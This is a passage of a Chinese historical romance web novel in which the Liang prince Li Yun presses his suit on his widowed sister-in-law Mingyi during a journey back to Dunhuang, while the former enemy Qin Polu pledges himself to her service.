一行人再次上路。 这一回是在大宁境内,北狄细作被拔除,沙匪见到凉王府旌旗,别说劫掠,跑都来不及。 白天赶路,晚上歇息,舟车劳顿三天后,终于在天黑之前抵达瓜州鱼泉驿。 驿站房间所剩不多,好在都是行军打仗的将士,七八个挤一间不在话下。 明宜则和秦梦住一间。 但秦梦不放心一直昏昏醒醒的阿弟,吃过饭便去了秦家军残兵那间房去看秦破虏,且一去不回。 房内只剩明宜一人,正要上床休息,房门忽然被敲响。 “谁啊?”明宜随口问。 “三娘,我让厨子给你熬了一碗牛乳给你送来。”是李赟的声音。 明宜眉头微微蹙了蹙道:“不用了,我已经休息,阿兄你自己喝吧。” 李赟道:“我已经吃过,这份是专门给你准备的,喝了好睡觉。” 自己不去拿,对方是不打算走了? 说实话,虽然李赟待自己一向不错,但大晚上亲自来送牛乳这件事,换做从前,明宜实在无法想象。 这可是能止小儿夜啼的小凉王呐。 偏偏眼下就正在发生。 她犹疑片刻,还是硬着头皮去开了门。 门只开了半拉,堪堪露出半张脸,伸出一只手:“有劳阿兄了。” 然而李赟却没将手中的碗递给人,而是将门彻底推开,自顾自地越过她走进屋,将牛乳放在小几上,施施然坐下,然后朝怔愣在门口的明宜招招手:“过来坐吧。” 一派坦荡之态,让明宜傻了眼。 见她杵着没动,李赟又道:“快来喝吧,当心凉了。” 明宜暗暗吸了口气,走到他对面坐下。 先前也不是没与对方孤男寡共坐过一桌,但这回她却无法做到像从前一样坦然。 “喝吧。”李赟伸手示意。 “嗯。”明宜点点头,“多谢阿兄。” 她双手端起热腾腾的碗,想了想,觉得逃避不是办法,不如开诚布公说清楚,于是又将牛乳放回桌上,道:“阿兄,你是阿玉的兄长,对我来说,你也便是我的兄长。为你为凉王府做些力所能及的事,我很高兴。但阿兄对我若有别的心思,还请赶紧打消这念头。不然我实在不知该如何面对阿兄了。” 李赟微微一怔,没想到她竟如此直接,反倒是让他有些猝不及防,耳根莫名开始发烫。 他欲盖弥彰轻咳一声,好整以暇道:“我祖父乃沙狄人,助先帝抵抗北狄,自此带族人落地凉州,被先帝封为凉王,我父亲娶惠心公主为妻,生下我与阿玉两兄弟。我在凉州出生长大,十八岁父亲过世,袭爵为凉王。” 明宜颦眉望着他,一时不知道他这长篇大论是何意。 只听他继续道:“我今年二十六岁,尚未娶妻,府中也无妻妾通房。日后成亲,也会效仿祖父与父亲,只娶一妻,绝不纳妾。虽然凉州不如长安繁华富庶,气候也更加苦寒,但凉王府条件尚可,绝不会让三娘受苦。” 明宜眉头蹙得更深,实在忍不住打断他:“阿兄,你到底要说什么?” 李赟一字一句认真道:“我的意思是,我心慕三娘,想要三娘做我的凉王妃,而对三娘来说,我应该也算得上良配。” 明宜一时噎住,面上也不由自主有些发热。 自己明明是让他打消念头,他倒好,反倒是堂而皇之说出来,像是听不懂人一样。 明宜既羞又恼。 可小凉王怎么可能听不懂人话? 她深吸一口气,好声好气道:“阿兄,你是阿玉的亲兄长,阿玉才过世三个月,你说这些话,不仅让我无地自容,阿玉泉下有知又会如何想?” 李赟眉头微蹙:“我的心意难道这般不堪,竟让三娘无地自容?” 明宜差点被他带进沟里,她再次暗暗吸了口气,让自己脑子略略清醒,然后又才道:“让我无地自容的,是因为阿兄和我的关系。”说着又强调一句,“我是阿玉的妻子,你是阿玉的亲兄长,我的夫兄。” 李赟灰色眸子凝望着她,沉默片刻:“所以三娘的意思是,不能接受我这些话,乃是因为我们的关系,并不是因为我这个人?” 明宜一愣,还没反应过来要如何反驳,只听李赟又道:“礼教纲常乃是束缚人性的糟粕玩意儿,尤其是用来规训女子。三娘嫁给阿玉本就是不想同其他高门女子一样,一辈子困在高门后宅中。如今怎的又要讲起你本就不屑的礼教纲常来?” 明宜这回是彻底怔忡,支支吾吾:“你……” 李赟勾了下嘴角:“你说阿玉知道我这般,不知如何想?以我对阿玉的了解,他只会觉得欣慰,为我们高兴。” 明宜脸色微变:“你莫要胡说八道!” 李赟道:“我虽与三娘才相处两月,但早在阿玉的信中便已认识你。阿玉曾经说过,三娘这样的女诸葛,本该与我是珠联璧合,天生一对。只可惜我们一个在长安一个在凉州,没有机会相识。而三娘又急于脱离宋家,他到底心慕三娘,最终成全了你和他的私心。” 明宜不可置信地睁大眼睛,自己一心要嫁给李悆,说的是与他情深意笃,不管他能活多久,都想要名正言顺陪他左右。 没想到李悆原来早知道自己那点私心。 不仅知道还写信告诉过李赟。 而作为自己的夫君,竟能说出她与李赟相配这话。 她都怀疑这是李赟胡说八道。 但旋即一想,又觉得以小凉王的性子,不大可能。倒是李悆,虽是病弱之身,鲜少出门,却并不信奉纲常礼教那一套,从两人成亲之日开始,他就说过很多次,自己死后,她定要再寻一个情投意合的良人白头偕老。 自己每回说不会再嫁,他明显不高兴。 李赟见她表情似有松动,轻咳一声,继续道:“阿玉临终让你送他回凉州安葬,与其说是让你送他回家,不如说是他将三娘你带到我身边。” “不可能!”明宜下意识道。 其实李赟这话也只是揣度,阿玉心中到底是何想法,也只有他自己知道。 “不管三娘信与不信,总之你要用纲常礼教那套拒绝我,实在是毫无必要,这里是河西是凉州,是我们凉王李家,我们都不信那一套。也请三娘不要拿这套东西绑架自己。” 他平时话并不多,但明宜知道他能言善辩,一套歪理下来,倒是让自己找的那些理由,全都被推翻。 她咬咬唇,最终涨红脸蹦出一句话:“即使做这些都不重要,可我对阿兄,只有兄长之情,并无男女之情!” 李赟脸上微微一僵,但很快便又恢复如常,轻描淡写道:“你说把我当做兄长,乃是因为之前从来没往这方面去想。所以不是没有,而是没想过。” 明宜:“……” 这不是强词夺理么? 但旋即一想,对方似乎也并未说错,倒是叫自己不知如何反驳。 难道说其实想过? 既是当兄长,为何会想? 那更是说不清楚。 她干脆抿唇不再说话。 李赟见她双颊通红,又似羞又似怒的模样,颇有几分难得的小女儿娇嗔之态,叫他心中莫名有些痒痒,连带身子也蠢蠢欲动。 他轻咳一声,决定不再为难她,施施然站起身,拱手道:“三娘慢慢将这牛乳喝了,早些休息,阿兄就不叨扰了。”顿了下,又补充一句,“没想过的事,慢慢想便是,阿兄又不急。” 说罢,不等明宜开口,人已经飘然离去—— 作者有话说:小凉王:强词夺理我是会的 第63章 第 62 章 以后我便是三娘子的人,…… 门咯吱一声阖上, 李赟那道高大的背影也随之消失在明宜的视线中。 她也没了心思喝什么牛乳,起身将门闩上,而后几乎是有些气急败坏地回了床上。 只是越想越觉得方才的李赟有多荒谬。 什么叫阿玉将自己带到他身边?什么又叫阿玉泉下有知只会欣慰。 简直是一派胡言! 若李家不信奉礼教纲常, 那日李澄与他大嫂成婚, 为何李家族中长辈都激烈反对? 思及此,明宜心中忽然一惊。 当日李赟极力促成此事, 莫非便是在为他自己铺路? 难道他一开始便对自己存了这样的心思? 所以自己才留在河西至今? 明宜只觉得荒唐又不可思议。 难道就是因为李悆在信中夸赞过自己? 当然, 这些于她都不重要,重要的是她并无再嫁打算, 更不想成为什么凉王妃。 李赟说她对他不是没想法, 而是没想过, 让她慢慢想。 她偏偏就不去想。 然而脑子里却还是忍不住浮上这些日子, 与对方相处的点点滴滴。 从前在长安未嫁前,祖父门下那些公子王孙, 与她示好的也不是没有, 甚至还颇多,但她除了不胜其烦,从不会被影响。 唯独李赟让她除了烦躁, 还有一肚子说不上来的情绪。 以至于躺在床上辗转反侧半晌, 才终于勉强睡过去。 翌日清晨, 明宜被外面嘈杂声吵醒。 穿戴洗漱后,刚打开门,便见李赟和秦破虏各自带着人,同时朝自己房门口走来。 她微微一愣, 先是敷衍地与李赟问了声晨安,又蹙眉看向秦破虏,问道:“秦七郎, 伤怎么样了?” 跟在他后面的秦梦笑眯眯替阿弟回道:“今早彻底清醒了,瞧着伤口也愈合大半,应该没什么大碍了,我让他躺着别乱动,他非要过来感谢三娘子的救命之恩。” 明宜不动声色打量男人一眼,见他脸色虽然苍白,但已带了点血色,显然是彻底活过来。 秦破虏走上前,先朝她笑着作了一揖,然后才对迎上来的李赟行了个礼:“七郎见过小凉王,多谢小凉王救命之恩。” 李赟扯了下嘴角,觑眼看向他,哂笑道:“若不是看在秦将军面子上,你以为我会救你一个认贼作父的家伙?” 秦破虏脸色微微一变,反驳道:“我养父不是贼,而是我的救命恩人。” 秦梦忙走上前插在两人中间打圆场:“王爷,我阿弟情况你也知道,真怪不得他,如今他恢复秦家七郎身份,从前的事,还请王爷既往不咎。” 秦七郎冷嗤一声:“我管他咎不咎。” 得!活过来了作妖的本事也恢复了。 秦梦低低斥他一声:“七郎!” 秦破虏像是意识到什么似的,神色缓下来,露出几分颇为乖顺的模样。 她上前一步,在明宜跟前站定,而后噗通一声,单膝跪地。 明宜被他这举动弄得猝不及防往后退了两步。 但秦七郎却是膝行着追上来,拱手道:“我秦破虏这条命是三娘子给的,以后我便是三娘子的人,当牛做马在所不辞。” 明宜垂眸不可思议地看向他,半晌才回神,好笑道:“我救你是因为秦将军和秦姐姐,我要你当做牛做马作何?” 梦也是被秦七郎这举动吓了一大跳,赶紧上前去扶人:“七郎,我知道你感激三娘子,但你这样子会吓到她。” 秦破虏却是将她推开,一脸坚定道:“阿姐,如果不是三娘子,我已死了两回,更不要提先前我对她做的那些事。别说是这辈子做牛做马,就是下辈子当牛做马也还不清。她如果不接受我,我有什么脸留在大宁?” 秦梦心疼弟弟,见他这副模样,也不再劝说,只看向明宜,带着几分祈求道:“三娘子,要不然你……就让七郎留在你身边,做个护卫也好。” 明宜还没说话,李赟先冷笑一声,道:“秦七郎,你什么心思自己最清楚,少在这里装模作样!” 秦破虏转头看向他,一脸无辜道:“王爷,我能有什么心思?我现在除了阿姐和秦家军几个残兵,一无所有,只想找个安身立命的去处。” 这回明宜赶紧接话道:“秦七郎,你要去处那还不简单?王爷一向任人唯才,他不会计较你过去的事。如今北狄生变,河西正是需要人才的时候,你愿意投军,助王爷对抗北狄,那是再好不过。” 秦梦忙不迭点头附和:“没错,我和你各位叔伯,也准备加入河西军,做些力所能及的事。” 秦破虏却摇摇头:“阿姐,你们投军是个好去处,但我不是。我是秦七郎,可也是鲁刺儿,我在军中,其他人如何看我?谁又会相信我?” 秦梦一想也是,这两年鲁刺儿的大名,他们都听过不自知多少回。什么杀人如麻,恶贯满盈,听得人是咬牙切齿。 万万没想到,这让人咬牙切齿北狄贼人竟是自己寻找十二年的阿弟。 若真进了军中,只怕是不得安生。 她思忖片刻,叹了口气道:“要不然我们也不投军了,我们找个正经营生,本本分分过日子。” 秦破虏还是摇头:“阿姐,如果不报三娘子救命之恩,我做什么都不会安心,所以我定是要留在三娘子身边的。” 秦梦又犹疑地看向明宜,其实她作为阿姐,私心也希望弟弟日后能过得顺利些,三娘子是王府二夫人,跟在她身旁,自然是个好去处。 明宜见秦家姐弟你一句我一句,眉头不由得蹙起。 不管秦破虏是真心想报恩,还是有别的打算,她可都不想将这个危险分子留在身边。 这种人就该跟着李赟,毕竟小凉王最擅长驯服烈马。 思及此,她抬眸看向李赟,想让他给秦七郎一个定心丸,口头保证他在自己麾下不会被排挤。 哪知李赟却像是没瞧见她的眼色一般,只觑眼看向跪在地上的人,冷笑一声:“你说得没错,你在我麾下,必定不会被他人所容。” 明宜:“……” 李赟继续道:“既然你在军中都不被人所容,你凭什么觉得我会让你留在三娘身边?” 秦七郎有些奇怪地看他一眼:“王爷这话说得好生奇怪,我留在三娘身边,只要三娘答应便好,为何要王爷同意?” 这回轮到李赟被噎了下。 明宜见一时半刻说不清楚,只得无可奈何地对秦破虏道:“有什么话等回了敦煌慢慢再说,这里是驿站,你跪着不起像什么样子?” 秦梦赶紧附和:“没错七郎,等回了敦煌再慢慢做打算,不急于这一时片刻。” 秦破虏抬头看了眼明宜,到底是慢慢站起身,然后拱手行了个礼:“那七郎就先不打扰三娘子了。” 说罢,又转身对李赟敷衍地行了个礼。 李赟微微眯了眯眼,就在对方从自己跟前擦身而过时,他忽然微微凑到人耳畔,用只有两个人听得到的声音道:“不管你有什么心思,都赶紧给我收起来,不然别怪我不客气!” 秦破虏转头看向他,面上露出茫然之色。 他不过弱冠之年,脸上没了浓须遮掩,俨然是一个人畜无害的俊俏少年,就像刚刚跪在地上那一脸的真诚,换做谁都不会怀疑。 但李赟知道,这个狡猾多端的祸害,绝不可能忽然就性情大变。 果然,秦破虏那张茫然无害的脸上,忽然便闪过一丝讥诮般的狡黠笑意,因为太快,别说是旁人,就是李赟都没来得及捕捉。 “七郎,我们回房把药喝了。”对两人之间的微妙一无所知的秦梦扶着人往房间走去,像是哄孩子一般哄着在这个祸害。 门口秦家人散去,一下空了大半,明宜重重舒了口气。 一抬眸,却看到李赟面色铁青,她试探着唤了声:“阿兄……” 李赟转头定定看向她,那双深灰色眸子冷得出奇,看得出此刻他心情极度不好。 明宜微微一怔,还没想到是为何,对方神色忽然又缓和下来,柔声开口道:“我让人送早膳过来,我们一起吃了便启程。” 明宜:“……” 没想到小凉王这张冷峻的脸,也能上演变脸戏码。 当然这不是重点,重点是谁要与他一起用早膳了? 然而李赟没理会她眼中的质疑,径自走进去在桌旁坐下。 明宜也不好将人赶走,只能暗暗吸了口气,跟着走了进去。 驿夫很快送来二人的早膳。 李赟挥挥手,让门口守着的人退下,楚飞更是善解人意地替两人关好门。 屋内瞬间变得安静,这安静便让两人刚刚还算正常的气氛,瞬间变得微妙了几分。 或许微妙的只是明宜自己,毕竟小凉王始终一派坦荡模样。 他拿起筷子道,轻咳一声,淡声开口:“那秦七郎的话,你别放在心上,我们王府还缺他一个侍卫么?况且他这个人实在狡猾多端,留在你身边我不放心。” 明宜道:“嗯,我也不会让他留在我身边。” 李赟闻言,眉眼荡开一抹愉悦的笑意。 明宜又道:“不过他现在确实是个麻烦,若是能为阿兄所用,自然是天大的好事,可就如他所说,他这个身份,若真在阿兄麾下,谁敢相信他?” 李赟淡声道:“他的去处,我会再考虑。” 明宜想了想:“实在不行,先让他暂时留在我身边,然后再做打算。” 李赟瞬间又上演了一次变脸,沉声喝道:“绝对不行!”—— 作者有话说:妈呀又忘了放存稿箱 第64章 第 63 章 无形纠缠 明宜不明白他为何反应这么大, 不由有些疑惑地朝人看去。 李赟倒也直白:“他对你什么心思,你看不出来么?” 明宜一愣,却是不以为然:“他之前掳走我, 主要是因为我的身份, 如今经历人生大变故,他变回秦七郎, 就算之前真有什么心思, 那肯定也都烟消云散了。” 李赟哂笑一声:“三娘也有这么天真的时候!可惜你还是不懂男人!” 明宜轻咳一声,拿起粥碗, 嘟哝道:“那我确实不懂男人, 不管什么处境什么身份, 都不影响你们想这种事。” 这话表面是说秦七郎, 分明是在说对面的小凉王。 李赟自然也听出拐弯抹角在埋怨自己,但也只是微微一怔, 便坦然道:“没错, 所以我才知道秦七郎打的什么主意。” 明宜暗暗蹙了蹙眉头,她一直觉得李赟性子高傲,但昨日开始却见识了他胡搅蛮缠的一面, 自己说什么, 都仿佛拳拳打在棉花上。 她一时心情复杂, 只能欲盖弥彰开始喝粥。 再抬眼,却见李赟正一动不动地望着自己。 明宜不懂男人,但看得懂男人的眼神,至少能看出此刻李赟那双灰眸中, 毫不掩饰的侵略性和占有欲。 他原本就是冷峻又秾艳的长相,任谁直视这张脸,都会有无法忽视的压迫感。 而当这张脸配上这般眼神, 饶是一向淡定从容的明宜,也有些招架不住。 原本还在腹诽的她,只觉心跳得忽然很快,耳根也忍不住开始发热,连脑子开始变得混沌。 她赶紧避开对方的视线,强迫自己回神,又嗔怒道:“还请阿兄自重。” 李赟眉头微微蹙了蹙,依依不舍将目光从她沾湿的唇上挪开,老神在在道:“我要是不自重,就不只是与你一起用早膳了。” “你……”明宜再次被他的直白堵得没话说。 李赟喝了口茶水,继续不紧不慢道:“三娘,你放心,我李赟从不强人所难,只要你一天没接受我,我便不会有任何逾越之举。”说着撇了撇嘴,“像秦七郎那般不顾女子意愿将人掳走的野蛮人行径,我断然是不会做的。” 明宜抿抿唇,心道我看你也比他好不了多少。 不过有他这句承诺,她倒是心安了几分。 李赟看了看她,认真道:“三娘,我心慕你,想娶你为妻,是出于我的本心,我并不认为我做了什么错事。我没想过你现在就给我答案,只希望你不要对我如临大敌,依旧如从前一样与我相处便好。” 他说得这般真诚,明宜也不好再说什么难听的话,只抿抿唇道:“只要阿兄不要做让我为难的事,我便不会对你避而远之。” 李赟道:“我当然不会,我又不是秦七郎。” 明宜:“……” 倒也不用总拿秦七郎做对比。 李赟望着她,忽地勾唇轻笑了下:“如今狄患当前,三娘你确实也不能对我避而远之。募兵买马都还未完成,咱们接下来要做的事多着呢。” 听他这样一说,明宜终于将心头那股无所适从压下去,想了想,颦眉问道:“也不知北狄何时会南征,若那突涅小可汗举全国之力打来,阿兄有几成胜算守住河西?” 李赟沉吟片刻,道:“据探子情报,北狄如今有二十万大军,五六万战马。但长途奔袭,必定损耗战力,我们十万河西军,只要提前做好准备,守住整个河西应是不难。只是……” 明宜道:“只是什么?” 李赟眯了眯眼睛,一字一句道:“这一回,我要彻底驱逐北狄,收复被北狄占去的北庭,至少让他们接下来五十年再成不了气候。” 这话若是别人说,难免有骄傲自大之嫌,但出自小凉王之口,便只会让人觉得心服口服。 明宜暗暗舒了口气,不得不说,小凉王确实有能让人安心的本事。 当然,如果他一心带兵打仗,别再对自己抽风那就更好了。 思及此,明宜不由得有些发愁,好好一个不近女色的王爷,怎么就忽然想起儿女私情了呢? 李赟不知她在心中编排自己,吃了早餐便心情十分不错地回房准备启程。 明宜也简单收拾只等着出发。 在外面风餐露宿这么多日,都不用说长安的侯府和凉州的王府,就算敦煌刺史府的官舍,都让她无比怀念。 “三娘,来这里!” 下了楼,明宜正要与秦破虏一起上马车,却忽然听到前面的李赟道。 她抬头一看,却见是李赟身旁不知何时多了一驾颇有些豪华的高大马车。 “这是驿站的马车,我拿来一用。”李赟解释道。 虽然知道要与他共乘一车,但为了舒适,明宜还是毫不犹豫地走了过去。 秦破虏见状,也跟上来,却见李赟抬手对他挥了挥:“这车只够坐两人,秦七郎你与你阿姐继续坐你们那辆车吧。” 秦破虏撇了撇嘴角。 小凉王睁眼说瞎话的本事,他甘拜下风。 不过这是人家的车,人家的地盘,他也不能说什么,只能眼睁睁看着明宜上了那辆高大马车,又瞧了眼李赟睥睨的眼神,最终轻哼一声,转身回到自己车上。 明宜一上车,便知道刚刚李赟那句只能坐两人,纯属胡说八道,在这里面甚至可以躺下四个人。 不过与秦破虏分开坐也好,前几日对方一直昏昏沉沉,倒没什么不便,如今人已经彻底清醒,哪怕有秦梦在旁,那般狭小的车厢,也多少让人有些不自在。 也不知是不是受李赟的话影响,她竟然也开始怀疑秦七郎想留在自己身边报恩恐怕是动机不纯了。 这人毕竟狡猾,自己还是防着点为好。 正想着,原本宽敞的马车,因为人高马大的李赟走进来,再打下车帘,瞬间便变得狭小。 换做往常,与李赟孤男寡女共坐一车,明宜顶多是觉得有些压迫感,但如今知道他对自己有了别的心思,就不只是压迫这么简单。 她只觉得浑身不自在,如坐针毡一般。 好在车子很快启动。 相较于明宜,小凉王就自在多了。 想到接下来几日,大多时候都与心爱之人孤男寡女在这马车内,他心情就相当不错,甚至连北狄威胁,也暂时抛到了脑后。 虽然什么也不能做,但至少能闻到对方的气息,清清楚楚感受到人在自己触手可及的地方,就已经足矣。 那见不到人的七八天,实在是让他受够了。 明宜不知小凉王心里这些小九九,但能感觉到对方一直在看自己。 虽然看不算逾礼,但也实在让人不自在。 为了摆脱这种无形纠缠,她干脆闭上眼睛。 于是车子上路没多久,她便在颠簸中迷迷糊糊躺倒在身下长椅,去会了周公。 李赟原本是借着车内昏沉光线,明目张胆欣赏面前美人,没想到看了没多久,就眼睁睁见人缓缓滑倒睡了过去。 还睡得挺香。 可见对他还是很放心的。 这个想法让他心情大好。 而就在此时,马车碾过崎岖沙石,猛然颠簸了一下,已然睡得深沉的明宜眼见就要从凳上跌落。 李赟眼明手快,长腿迅速伸过去,用膝盖将对方身体抵住。 明宜正梦见自己似乎要踏空坠落,忽然得了一块栖息之地,本能便靠上来。 腿上传来的温软,让李赟呼吸蓦地一滞。 原来靠在他腿上的正是明宜的胸口—— 作者有话说:今天不是忘了,是一直没修文,拖到现在了 第65章 第 64 章 我又不会与你计较 偏偏明宜不仅靠上来, 连带手也搭在他的膝头。 李赟耳根噌的一下便涌上一股热意,这热意还十分不怀好意地身下蹿去。 虽然情不自禁乃是人之常情,但他却素来鄙薄一个男人连这种事都不能自控, 若是乘人之危行轻薄之事, 那更是让人不齿。 发乎情止乎礼方才是君子之道。 思及此,他喉咙滑动了下, 努力将身体的旖旎压下去, 倾身向前,小心翼翼握住明宜的手, 准备先将手放好, 再退开抵在对方胸前的腿。 女子的手与男人截然不同, 虽然这双手掌心也略有薄茧, 但仍旧是柔软的。 李赟牵过这手,但却从未认真看过, 心中不由好奇, 也忘了是要将手放下去,反倒是握在手中,借着车帘缝隙的一点光去打量。 而就在此时, 原本呼吸深沉的明宜, 忽然睁开了眼, 看到的便是近在咫尺的李赟,正握着自己的手。 他登时如遭雷击,猛地抽回手,蹭一下坐起来, 恼羞成怒道:“阿兄你这是作何?你不是说不会对我有任何逾越之举么?” 李赟不想她忽然醒来,还误会了自己,不过换做谁, 只怕都会误会。 他轻咳一声,一脸坦荡地解释道:“三娘你误会了,刚刚你差点从椅子上跌下来,我把你挡住,然后正想将你推进一些,你便醒了。” 明宜自然不信:“你推我为何抓着我的手?” 李赟道:“我挡住你的时候,你的手搭到我膝上,我是将你的手拿下去。” 明宜还是不信,狐疑地上下打量他一番。 李赟见她这副警惕的模样,好笑道:“我李赟想要对你做什么?还需要偷偷摸摸?你可真是太小看我了。” 这话总算打消了明宜的疑窦,以李赟的性子,真想做什么,确实不至于趁自己睡着偷偷摸摸。 她轻咳一声,讪讪道:“那看来是我误会了。” 李赟:“无妨,我又不会与你计较。” 明宜:“……” 她一时无言,虽然相信他没有趁自己睡着行轻薄之事,但抓着自己的手却是事实。 她别开脸,不想再与他纠结这等小事。 接下来几日行程,一路顺利,明宜也习惯了近在咫尺的李赟。 回到敦煌的那天,西北的第一场大雪不期而至。 对于干旱的西北来说,这场早早降临的大雪,无异是一个祥瑞。 车内生了炭火,倒是不冷。 车子在刺史府门口停下,明宜下意识去拿放在凳子下方的羊毛袄子,却没摸到。 下一刻,便被一件狐裘斗篷兜头罩下来。 “穿这个!” 明宜微微一怔,将斗篷扯下来,一边披上一边随口问:“我袄子呢?” “那么丑的玩意儿,扔了。” 明宜:“……” 不过身上这件斗篷确实质地精良又暖和,但她还是嘟囔道:“浪费。” 李赟:“没浪费,扔给半路的流民,天气骤冷,这东西他们用得上。” 明宜抬眸看了看他。 这几天下来她算是看明白了,小凉王看着豪气干云,其实心眼儿小得很。 因为怀疑秦破虏对自己动机不纯,后面几日,对方都没机会和自己说上话。 “下来吧!”李赟先下了车,打起帘子,将手递给她。 明宜探出头,却故意将对方的手忽略,自顾地跳下地。 只是地面积了雪,滑得很,她一时不防,差点一个趔趄摔倒,还是李赟眼明手快将她扶住。 而后她便听到对方低低笑了声。 明宜有些恼羞成怒将人推开。 正要往门内走,秦梦从后面小跑上来,与两人拱手道别:“王爷三娘子对我阿弟的救命之恩,秦梦定当全力回报。” 明宜笑了笑:“你们回去好好休息吧,让你阿弟将伤彻底养好才是正经事。” 李赟先前便已经为秦家军残兵在敦煌安排了住处,不用再流离失所。 秦梦用力点头:“嗯。” 明宜朝他们那辆马车看去,秦破虏正掀着帘子,望向这边,那张清俊的面孔,原本没什么表情,见她看过来,才微微弯了弯嘴角,朝她拱手作了个揖。 明宜回他一礼。 李赟朝人瞥了眼,又对秦梦道:“你阿弟身份特殊,你仔细看着点他,别让他乱跑,免得被人发现身份出事。” 听到这话的秦破虏不以为意地扯了下嘴角。 秦梦则是忙不迭点头应道:“我明白的,有什么事我会让人给王爷通报。” “行,那你们保重。” 秦梦回了马车,明宜也随着李赟往刺史府大门走去,收到消息的吴刺史,领着人急匆匆从里面跑出来迎接。 一同出来的还有齐王殿下和白芷。 “娘子——” “表兄!三娘子!你们终于回来啦!” 两人一个冲向明宜,一个冲向李赟,齐齐将人抱住。 倒是让一肚子殷勤准备献出去的吴刺史,一时没了用武之地。 白芷抹着眼泪道:“娘子,听到你被那北狄贼人掳走,我都快吓死了。” 可不是么? 短短半月,原本的一张圆圆脸,明显变尖了。 明宜笑道:“傻丫头,你得相信我,我不会出事的。” 白芷抬起下巴:“我就是相信娘子不会出事,才老老实实在刺史府等 你回来,不然早出去找你了。” 旁边的周子炤也叽里呱啦道:“表兄,我这几天急得饭都吃不下,就怕你寻不到三娘子。”说着又看向明宜,“三娘子,那鲁刺儿没把你怎样吧?” 明宜摇头:“嗯,没有。” 眼下这些人都还不知道鲁刺儿便是秦七郎,一旦知道,也不知作何想。 李赟对众人挥挥手:“行了,别站在外面喝风了,都进去吧。” “走走走快进去。”周子炤点头附和,又吩咐吴刺史,“吴刺史,你快让人准备些好吃的,给表兄和三娘子接风洗尘。” 吴刺史终于能发挥用处,忙不迭拱手应道:“臣这就去。” 明宜刚刚行至屋檐下,便听后面传来一道熟悉的声音:“侯夫人——” 她转头一看,果然是陆浪。一眨眼便是半月未见,她不免有些惊喜:“你怎么来了?” “我听到消息便来了。” 李赟哂笑一声:“果然是流民之首,消息确实灵通。” 陆浪一边走过来一边笑道:“凉王府的旌旗那么大,但凡有眼睛的,都知道小凉王回了敦煌。” 这回李赟为了不被滋扰,省去麻烦,一路都挂了旌旗。不像往日那般低调。 明宜上下打量了陆浪一眼,问道:“你的伤没事吧?” 陆浪摇头:“多谢侯夫人关心,不是什么要紧的伤,休息几日便没事了。你呢?那鲁刺儿可有为难你?” “未曾。” 陆浪又问:“到底是怎么回事?” 明宜道:“这个说来话长,等我休息两日,回头与你慢慢说。” 陆浪笑着拱手:“行,回头我请侯夫人吃茶,届时再听侯夫人与我仔细道来。” 吃茶? 李赟浓眉一蹙,不悦地看向下方的男人,轻咳一声道:“沙狼想知道详情,我让楚飞一五一十告诉你。”说着招招手,“楚飞,你去跟沙狼把这事仔细说一说。” 被点到名的楚飞一愣,但很快反应过来,这是王爷不想二夫人与这流民之首走太近呢。 毕竟此人非等闲之辈,若是也对二夫人有意,王爷便是多了个劲敌。 他笑呵呵走下去,一把拦住陆浪的肩膀:“沙狼兄,走走走,你请我去喝酒,我把这些天的事讲给你听。我跟你说,保管见多识广的你听了,都觉得不可思议。” 陆浪自然知道李赟那点小心思,嘴角抽了下,倒也是没拒绝楚飞,而是爽快笑道:“好啊楚兄,我洗耳恭听。” 看到两人离开,李赟嘴角微微勾了勾,然而余光却觉得不太对劲,转头一看,果然是明宜正眯眼瞧着自己。 他欲盖弥彰地轻咳一声,道:“这事是该告诉沙狼,毕竟他与秦梦交情匪浅。” 明宜深吸了口气,低声道:“阿兄,沙狼不是秦七郎,你不用草木皆兵。何况你与我也只是兄妹关系,不该干涉我与人交往。” 李赟道:“我没干涉啊,只是觉得毕竟男女有别,你和沙狼还是保持距离为好。” 明宜瞧了眼两人之间不足一人的距离,道:“既是男女有别,你与我怎么不保持距离?” 李赟振振有词:“我们毕竟是一家人。” 明宜想反驳,却又无从辩起。 只能无奈地叹息一声,转身进了大门。 李赟抿抿唇,跟在她身后迈过门槛,目光落在她纤瘦的背影上,暗暗舒了口气。 沙狼确实不是秦七郎。 这一路来,她对秦七郎很有些冷淡,但刚刚看到沙狼的眼神,却明显带着惊喜。 他能感觉出,沙狼对她来说,不只是一个才见过几面的流民之首这么简单。 他们之间应该有自己不知道的秘密,或许正如他从前闪过的怀疑,她知道沙狼过去的身份。 这个猜测让他浮上几丝不虞,明知自己一直没查到沙狼的身份,她却为他保守这个秘密。 “三娘,沙狼到底是谁?”他想着,便也就问了。 明宜微微一怔,转头看向他,见他灰眸微微眯起,显然是已经猜到什么,她也没否认,只道:“这件事不重要,阿兄实在想知道,也该自己去查。” 果然!! 明宜又道:“沙狼确实与秦七郎不同,他是真正的侠义之士,狄患当前,阿兄想办法招揽他才是紧要事。” 李赟颇有些不以为然,本想反驳,但话到嘴边,还是吞了下去。 她说得没错。 沙瓜两州几万流民,哪怕只招揽一半,也是河西军最有力的补充。思及此,他轻咳一声,道:“嗯,沙狼是有些本事,我会再想办法。” 明宜望着他不情不愿的模样,不知想到什么,忽的轻笑一声:“这办法之一,就是你对人家态度要好点。” 李赟蹙眉道:“明明是他对我不敬。” “你总对他摆小凉王的谱,他一个散漫不羁的游侠,那自然不会将你放在眼中。敬与不敬都是相互的。” 李赟望着她默了片刻,啧了声:“三娘,你对这流民之首真是不一般啊?” “又来了。”明宜叹了口气,转身。 李赟:“我……”—— 作者有话说:谁能想到男主是死缠烂打型? 两个劲敌就在旁边,小凉王心里苦。 第66章 第 65 章 摘星楼 吴刺史办事很麻利, 没过多久,便已差厨房准备了一桌热气腾腾的饭菜。 这半月来,除了无名村和回程时下榻的两个驿站, 明宜基本就没吃过什么正经饭菜。 看到满满一桌热气腾腾的饭菜, 还多是自己的口味,只差热泪盈眶。 吴刺史笑眯眯道:“王爷侯夫人, 你们慢用, 有什么需要再吩咐。” 李赟自然而然地给明宜盛了一碗汤,随口道:“吴刺史, 我不在这些时日, 募兵买马进展如何?” 吴刺史赶紧拱手回道:“想必王爷已收到北狄生变的消息, 我一听便知不好, 只怕北狄很快就会打下来,王爷不在, 我一日也不敢懈怠, 每天都在忙这两样事,但是……”说到这里,他苦着脸继续, “进展确实不乐观, 因为天气变冷, 一些流民为了方便过冬,倒是来投了军,但总共加起来也不足千人,至于战马, 我已经问过马市所有马商,能在年前供给我们的马,不足千匹。总之, 不管是兵卒还是战马,都与我们的预期相差甚远。恕臣无能!” 李赟倒是没苛责他,只点点头,忽然想到什么似的,道:“东城那座摘星楼的老板摘星君,我听说他天上地下只要有的,就没有在他那里买不到的。你有没有去问他买过?” 